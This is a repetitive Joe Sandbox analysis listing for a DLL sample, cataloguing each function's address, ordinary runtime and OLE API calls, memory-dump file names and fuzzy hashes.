Instruction ID: 9cdf790af17a90611e2cdd03a8004565d93a14d989fbbf90021499d68904e87f
Opcode Fuzzy Hash: d7f1d0b43d4bace7f6b47c73b92fe8c560a6d6b4bb0c9462ab0ec5637b00e904
Instruction Fuzzy Hash: 7D5159753087068FE714DF68C990F2EB7EAABC8614F11892DE595C3340EB34E905CB92

Function 6D01D4B0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D01D5E4
__CxxThrowException@8.LIBCMT ref: 6D01D5F9
std::exception::exception.LIBCMT ref: 6D01D608
__CxxThrowException@8.LIBCMT ref: 6D01D61D

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 8f6bf27e665fa596f79912f75e2a5d07d1d231c32c940b21375bd1d4f7b5c468
Instruction ID: 98e09d088aeabcc9335b2a41d8b3dc12dd300eda5976332cca7c60cf1b060d7b
Opcode Fuzzy Hash: 8f6bf27e665fa596f79912f75e2a5d07d1d231c32c940b21375bd1d4f7b5c468
Instruction Fuzzy Hash: 48514AB1A04649AFEB04CFA8C980B99FBF4FF08304F50866AD519D7B41D771E954CBA1

Function 6D025F00 Relevance: 6.1, APIs: 4, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D026035
__CxxThrowException@8.LIBCMT ref: 6D02604A
std::exception::exception.LIBCMT ref: 6D026059
__CxxThrowException@8.LIBCMT ref: 6D02606E

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: c35aa53f2cbe814ae9644b77c08857a3c3a0a86f6c720c47bc8fdb13d5d56bdd
Instruction ID: 24606fd317df852d7a6aa93564d3d4cc1433bc8ac671fc4f28c92c50dc10bec7
Opcode Fuzzy Hash: c35aa53f2cbe814ae9644b77c08857a3c3a0a86f6c720c47bc8fdb13d5d56bdd
Instruction Fuzzy Hash: A7516DB1A0464AAFD704CFA8C984B99FBF4FF09304F508269D519D7B41D771E914CBA1

Function 6D01DE50 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D01DE81
VariantClear.OLEAUT32(?), ref: 6D01DF3C
VariantClear.OLEAUT32(?), ref: 6D01DF6D
VariantClear.OLEAUT32(?), ref: 6D01DF8B

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$Init
String ID:
API String ID: 3740757921-0
Opcode ID: 12b7db6a1cc2f527b2146d0527c18241e92ce747d2ef336df71e77ec4f437a17
Instruction ID: 9b00d56c98e9fb2272c27ce95cbbe6ee04b23e33b0da3f90fe091e841e3e46cb
Opcode Fuzzy Hash: 12b7db6a1cc2f527b2146d0527c18241e92ce747d2ef336df71e77ec4f437a17
Instruction Fuzzy Hash: DD418A322082419FE700DF69C840B5AB7E9FFDA710F048A6DF9449B350E735E905CBA2

Function 6D025DB0 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D025E87
__CxxThrowException@8.LIBCMT ref: 6D025E9C
std::exception::exception.LIBCMT ref: 6D025EAB
__CxxThrowException@8.LIBCMT ref: 6D025EC0

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 9accf2abf7e89cf459ace7465afdf24179b145e28029c25449f2723a13eb60ad
Instruction ID: 1a9f71d0b27ae5e95d3ce30e1155e734940742a148faa22112952193125c4ed4
Opcode Fuzzy Hash: 9accf2abf7e89cf459ace7465afdf24179b145e28029c25449f2723a13eb60ad
Instruction Fuzzy Hash: 704138B19047489FE720CFA8D980B9AFBF4FB08314F40896ED59A97B41E771E504CBA5

Function 6D01D360 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D01D437
__CxxThrowException@8.LIBCMT ref: 6D01D44C
std::exception::exception.LIBCMT ref: 6D01D45B
__CxxThrowException@8.LIBCMT ref: 6D01D470

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$_malloc
String ID:
API String ID: 2621100827-0
Opcode ID: 3154d450d4dc7b1d7829435b3afa30111cab53123ba3bd5954b76e2d49a45958
Instruction ID: c4252354dd315391df33db395d48f273a28be6f89737dfdbaa9a75ce380390b5
Opcode Fuzzy Hash: 3154d450d4dc7b1d7829435b3afa30111cab53123ba3bd5954b76e2d49a45958
Instruction Fuzzy Hash: 874137B19047589FD720CFA9D980B9ABBF4FB08304F40896ED99A97B41E771E504CBA1

Function 6D062B80 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

Part of subcall function 6D036480: __CxxThrowException@8.LIBCMT ref: 6D036518
Part of subcall function 6D036480: __CxxThrowException@8.LIBCMT ref: 6D036558

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D062C9A
__CxxThrowException@8.LIBCMT ref: 6D062CB1
std::exception::exception.LIBCMT ref: 6D062CC3
__CxxThrowException@8.LIBCMT ref: 6D062CDA

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$_malloc
String ID:
API String ID: 3942750879-0
Opcode ID: 1862284f7cf2dc40dbcadf1ca1044b04f0e3e97d732156fad671726b90abbc23
Instruction ID: 503652221f9725ace9b424d0e6a4c4bca3a189ef87d91fca520f6554909d2cc4
Opcode Fuzzy Hash: 1862284f7cf2dc40dbcadf1ca1044b04f0e3e97d732156fad671726b90abbc23
Instruction Fuzzy Hash: 3C4169B15187419FD314CF68C880A5AFBF4FF99314F508A2EF29A87691D7B0A504CBA2

Function 6D02C410 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D02C478
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D02C488
SafeArrayGetElement.OLEAUT32(?,00000001,?), ref: 6D02C4B4
SafeArrayDestroy.OLEAUT32(?), ref: 6D02C512

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Bound$DestroyElement
String ID:
API String ID: 3987547017-0
Opcode ID: 84656c55fb329f1c8e260b71c471d7c069bbb9423300a3157def5f59e9070c04
Instruction ID: cd41ed88f8e121de28cfecb7e7cf99ceadea5ce1a0b799319a57ced8c60544ec
Opcode Fuzzy Hash: 84656c55fb329f1c8e260b71c471d7c069bbb9423300a3157def5f59e9070c04
Instruction Fuzzy Hash: 41411C75A0514AAFDF00DF98C884EAEB7B9FB49350F10C569F919E7240D730EA45CBA4

Function 6D02B580 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6D0802A0), ref: 6D02B5D5
VariantInit.OLEAUT32(?), ref: 6D02B5E2
VariantClear.OLEAUT32(?), ref: 6D02B685
VariantClear.OLEAUT32(6D0802A0), ref: 6D02B68B

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 838fbab041dd06cbda79667aba77fe318cebce9510603c2249bc49099a5d3457
Instruction ID: 525cb48d61e2575c1c9ca9224417ac33443fcebe1e3d2959f3cd126e9a8c5faf
Opcode Fuzzy Hash: 838fbab041dd06cbda79667aba77fe318cebce9510603c2249bc49099a5d3457
Instruction Fuzzy Hash: E2417272A05209AFDB10DFA9C980B9AF7F9FF99314F248199E9049B351D736E901CB90

Function 6D0788C9 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6D0788FD
__isleadbyte_l.LIBCMT ref: 6D078930
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?), ref: 6D078961
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?), ref: 6D0789CF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c3a677d86db045a5004665a102ddff479c2e84a24ddacc59f1f81c19e3a9e772
Instruction ID: 741e69980a1f11759ae15a37d7343fd58d9f953c975198c2e880cb3552b388ef
Opcode Fuzzy Hash: c3a677d86db045a5004665a102ddff479c2e84a24ddacc59f1f81c19e3a9e772
Instruction Fuzzy Hash: DA318B31A14286AFEB21CFA8C880BAE3FE5BF02311F158569E1649F190D371D940DB59

Function 6D005A30 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D005ACB
__CxxThrowException@8.LIBCMT ref: 6D005AE0
std::exception::exception.LIBCMT ref: 6D005B18
__CxxThrowException@8.LIBCMT ref: 6D005B2D

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc
String ID:
API String ID: 3153320871-0
Opcode ID: 82587a649f3c8842bd3d1c6c1f8c8026d6766ed096a94dd32050cf1a2d926e61
Instruction ID: 2edabb93b93396d62d5c9e6548e1bdd84aa0c4ba0d389f8bcbfdf1368f4ec0b5
Opcode Fuzzy Hash: 82587a649f3c8842bd3d1c6c1f8c8026d6766ed096a94dd32050cf1a2d926e61
Instruction Fuzzy Hash: AB3175B5904609ABEB04DF94D840A9AF7F8FF48750F10826AE91997740EB30AA04CBE1

Function 6D018470 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

InitializeCriticalSection.KERNEL32(00000000,00000000,6D015D89,00000000,00000004,00000000,?,00000000,00000000), ref: 6D0184EA
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000), ref: 6D0184F0
std::exception::exception.LIBCMT ref: 6D01853C
__CxxThrowException@8.LIBCMT ref: 6D018551

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalInitializeSection$Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 3005353045-0
Opcode ID: 2fc45c712e0ad29b81cbda5dd0245904f176d6348d30ea957b5255a0fdce5221
Instruction ID: 1cf74aa56b227612db52f63285656b830e7be2b1b23ff9633961e3139fb562d8
Opcode Fuzzy Hash: 2fc45c712e0ad29b81cbda5dd0245904f176d6348d30ea957b5255a0fdce5221
Instruction Fuzzy Hash: 5F314B71A05745AFDB04CFA9C880A9AFBF8FF09210F508A6EE95687B41D770E644CB91

Function 6D02DC40 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6D02DCC5

Part of subcall function 6D069533: std::exception::_Copy_str.LIBCMT ref: 6D06954E

__CxxThrowException@8.LIBCMT ref: 6D02DCDA

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D02DD09
__CxxThrowException@8.LIBCMT ref: 6D02DD1E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 399550787-0
Opcode ID: 19d6ec7ce19a05b455c3642468678d731349a5533eebc8233358fcb8d5f7a373
Instruction ID: 0c0cfb8d41e623eda4b265aa9770abfe528ea31e5556497c1721e4e28d23c6b1
Opcode Fuzzy Hash: 19d6ec7ce19a05b455c3642468678d731349a5533eebc8233358fcb8d5f7a373
Instruction Fuzzy Hash: B53141B5904209AFEB04DF99E844A9EB7F8FF48310F41856DE9199B351E770EA04CBE1

Function 6D072645 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6D072653

Part of subcall function 6D069D66: __FF_MSGBANNER.LIBCMT ref: 6D069D7F
Part of subcall function 6D069D66: __NMSG_WRITE.LIBCMT ref: 6D069D86
Part of subcall function 6D069D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6D069BD4,6D001290,4E8A916F), ref: 6D069DAB

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: bea616754558011cfbe180f71ad200f990763be7d6429fd2408ef6c41814c7eb
Instruction ID: f23880f34a1035b498e268c2c5ccd258078482bdb9b3a0412fe9885e2962cae0
Opcode Fuzzy Hash: bea616754558011cfbe180f71ad200f990763be7d6429fd2408ef6c41814c7eb
Instruction Fuzzy Hash: AC11C4328486556BEF321F35A80475E37E9BF46365B22402EEA449F240EB30C94187BC

Function 6D017240 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 6D034410: _malloc.LIBCMT ref: 6D03446E

SafeArrayCreateVector.OLEAUT32(00000011,00000000,?), ref: 6D017287
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6D01729B
_memmove.LIBCMT ref: 6D0172AF
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6D0172B8

Memory Dump Source

